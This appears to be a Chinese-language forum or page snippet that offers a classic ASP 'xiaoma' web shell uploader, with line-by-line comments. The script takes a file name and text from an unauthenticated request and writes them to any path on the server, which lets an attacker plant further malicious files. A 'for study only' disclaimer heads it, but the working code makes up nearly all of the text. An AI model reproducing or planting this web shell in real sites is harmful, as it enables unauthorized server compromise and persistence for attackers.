啊啊啊
地址列表:
问文件仅供学习使用,如果发现威胁文件,请到www.hackbase.com解除你的危险状况
文件名:
<%
dim s
if request("action")="set" then //通过http://localhost/xiaoma.asp?action=set提交到服务器
Text=request("Text")
FileName=request("FileName")
set fs=server.CreateObject("Scripting.FileSystemObject") //创建FSO组件
set file=fs.OpenTextFile(server.MapPath(FileName),8,True) //创建FileName指定的文件
file.writeline Text //把TEXT逐行写入到文件中,如果没有写权限,会造成操作失败
file.close //关闭file
set file=nothing //释放
set fs=nothing //释放
response.write ("alert('保存成功!')") //返回到客户端执行提示保存成功
end if
%>
管理员回复: